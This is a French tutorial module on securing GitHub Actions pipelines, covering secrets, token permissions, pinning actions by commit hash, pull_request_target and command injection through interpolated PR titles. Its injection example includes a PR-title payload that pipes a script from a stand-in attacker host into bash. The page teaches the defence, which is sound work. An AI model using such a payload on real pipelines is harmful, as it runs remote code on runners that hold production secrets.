Module 5 — Sécurité et bonnes pratiques
Bonne lecture et bon apprentissage ! Junior TSAFACK – 12/09/2026 Temps de lecture estimé : 10 minutes
Un pipeline CI/CD a accès à des identifiants de production, à la capacité de déployer du code, et souvent à des secrets de grande valeur — c’est une cible de choix. Ce dernier module rassemble les pratiques qui réduisent réellement cette surface de risque.
Ne jamais coder un secret en dur
Section titled “Ne jamais coder un secret en dur”Revenez au Module 4 : ${{ secrets.AWS_ACCESS_KEY_ID }} n’est jamais une valeur en clair dans le fichier YAML — elle est injectée depuis les secrets chiffrés du dépôt GitHub, invisibles dans les logs (GitHub masque automatiquement toute valeur de secret qui apparaîtrait dans une sortie de commande). Un secret codé en dur dans un fichier versionné reste définitivement dans l’historique git, même après suppression du fichier — la seule remédiation efficace après une fuite est de révoquer et régénérer le secret, jamais de simplement l’effacer du code.
Permissions minimales du token du pipeline
Section titled “Permissions minimales du token du pipeline”Chaque exécution de workflow reçoit automatiquement un jeton (GITHUB_TOKEN) pour interagir avec l’API GitHub (commenter une PR, publier un statut…). Par défaut, ce jeton peut avoir des permissions larges — la bonne pratique est de les restreindre explicitement au strict nécessaire :
permissions: contents: read # lecture seule du code, sauf si le job doit vraiment ecrire (ex: publier un tag)Un pipeline qui n’a besoin que de lire le code et d’exécuter des tests ne devrait jamais disposer, par défaut, de la capacité d’écrire dans le dépôt ou d’en modifier les paramètres.
Épingler les actions tierces à une version exacte
Section titled “Épingler les actions tierces à une version exacte”Regardez la différence entre ces deux lignes :
# Risque : @v4 est une reference mobile, qui peut pointer vers un commit different demain- uses: actions/checkout@v4
# Plus sur : le hash de commit exact, immuable, ne peut pas etre modifie retroactivement- uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3Une action tierce non officielle, référencée par un tag mobile comme @v1 ou @main, pourrait voir son code modifié par son mainteneur (ou par un attaquant qui aurait compromis son compte) sans que rien ne change dans votre propre fichier de workflow — votre pipeline exécuterait alors silencieusement un code différent de celui que vous avez audité. C’est une attaque de la chaîne d’approvisionnement (supply chain) documentée à plusieurs reprises sur de vraies actions populaires. Épingler sur un hash de commit exact élimine ce risque : ce hash ne peut, par construction, jamais pointer vers un contenu différent.
Une vraie vulnérabilité : l’injection de commande via le contexte GitHub Actions
Section titled “Une vraie vulnérabilité : l’injection de commande via le contexte GitHub Actions”Voici une classe de vulnérabilité réelle et bien documentée, souvent découverte dans des pipelines par ailleurs bien intentionnés. Un workflow qui réagit à une pull request a souvent besoin du titre de cette PR — par exemple pour l’afficher dans une notification :
# DANGEREUX : le titre de la PR est interpole directement dans un shell- name: Notifier le titre de la PR run: echo "Nouvelle PR : ${{ github.event.pull_request.title }}"Le problème : le titre d’une pull request est entièrement contrôlé par la personne qui l’ouvre — y compris si c’est un inconnu, sur un dépôt public. Un titre de PR conçu comme suit :
"; curl https://attaquant.example/vol.sh | bash; echo "…devient, une fois interpolé tel quel dans le run:, une commande shell exécutée sur le runner — potentiellement avec accès aux secrets du pipeline. Ce n’est pas un scénario théorique : cette exacte classe de faille a été documentée par GitHub Security Lab sur plusieurs projets open source populaires.
La correction : ne jamais interpoler une entrée utilisateur directement dans un run:
Section titled “La correction : ne jamais interpoler une entrée utilisateur directement dans un run:”# CORRECT : la valeur passe par une variable d'environnement,# jamais interpolee directement dans le texte de la commande shell- name: Notifier le titre de la PR env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "Nouvelle PR : $PR_TITLE"La différence est essentielle : dans la version corrigée, la valeur est transmise comme donnée, via une variable d’environnement — le shell ne la réinterprète jamais comme du code, quel que soit son contenu. C’est exactement le même principe qu’une requête SQL préparée face à une injection SQL : ne jamais construire une commande en concaténant du texte non fiable, toujours le faire transiter par un canal qui le traite comme une donnée.
Contrôler la portée des déclencheurs sensibles
Section titled “Contrôler la portée des déclencheurs sensibles”Le déclencheur pull_request_target (par opposition à pull_request) exécute un workflow avec les secrets et les permissions du dépôt cible, même pour une pull request venant d’un fork externe — une combinaison dangereuse si ce workflow checkout aussi le code de la pull request elle-même (potentiellement malveillant) et l’exécute avec ces mêmes secrets. Règle simple : n’utilisez pull_request_target que si vous savez précisément pourquoi pull_request ne suffit pas, et ne faites jamais exécuter le code d’une PR externe dans ce contexte.
Check-list avant de faire confiance à un pipeline
Section titled “Check-list avant de faire confiance à un pipeline”| Point de contrôle | Pourquoi |
|---|---|
| Aucun secret codé en dur, tout passe par les secrets chiffrés de la plateforme | Un secret dans l’historique git y reste indéfiniment |
permissions: explicitement restreint au strict nécessaire |
Limite ce qu’un pipeline compromis peut faire |
| Les actions tierces non officielles sont épinglées par hash de commit | Empêche une modification rétroactive et invisible du code exécuté |
Aucune entrée utilisateur (titre de PR, nom de branche…) n’est interpolée directement dans un run: |
Empêche l’injection de commande |
pull_request_target n’est utilisé qu’en connaissance de cause |
Évite d’exécuter du code non fiable avec des secrets de production |
| Chaque déploiement correspond à un artefact versionné, conservé | Rend un rollback réellement possible (voir Module 3) |
Conclusion du cours
Section titled “Conclusion du cours”Ce cours a suivi le même principe que les cours JWT et OAuth de ce site : observer le fonctionnement réel avant d’énoncer une bonne pratique. Vous avez vu, avec du code et des pipelines réellement exécutés :
- Pourquoi automatiser build et tests, et la différence précise entre CI, Continuous Delivery et Continuous Deployment (Module 1),
- Comment un lint et un test échouent réellement, puis sont corrigés (Module 2),
- Ce qui se passe entre un artefact validé et son arrivée en production (Module 3),
- Deux vrais pipelines en production, dont un échec réel et sa correction (Module 4),
- Une vraie classe de vulnérabilité de pipeline, et comment s’en prémunir (ce module).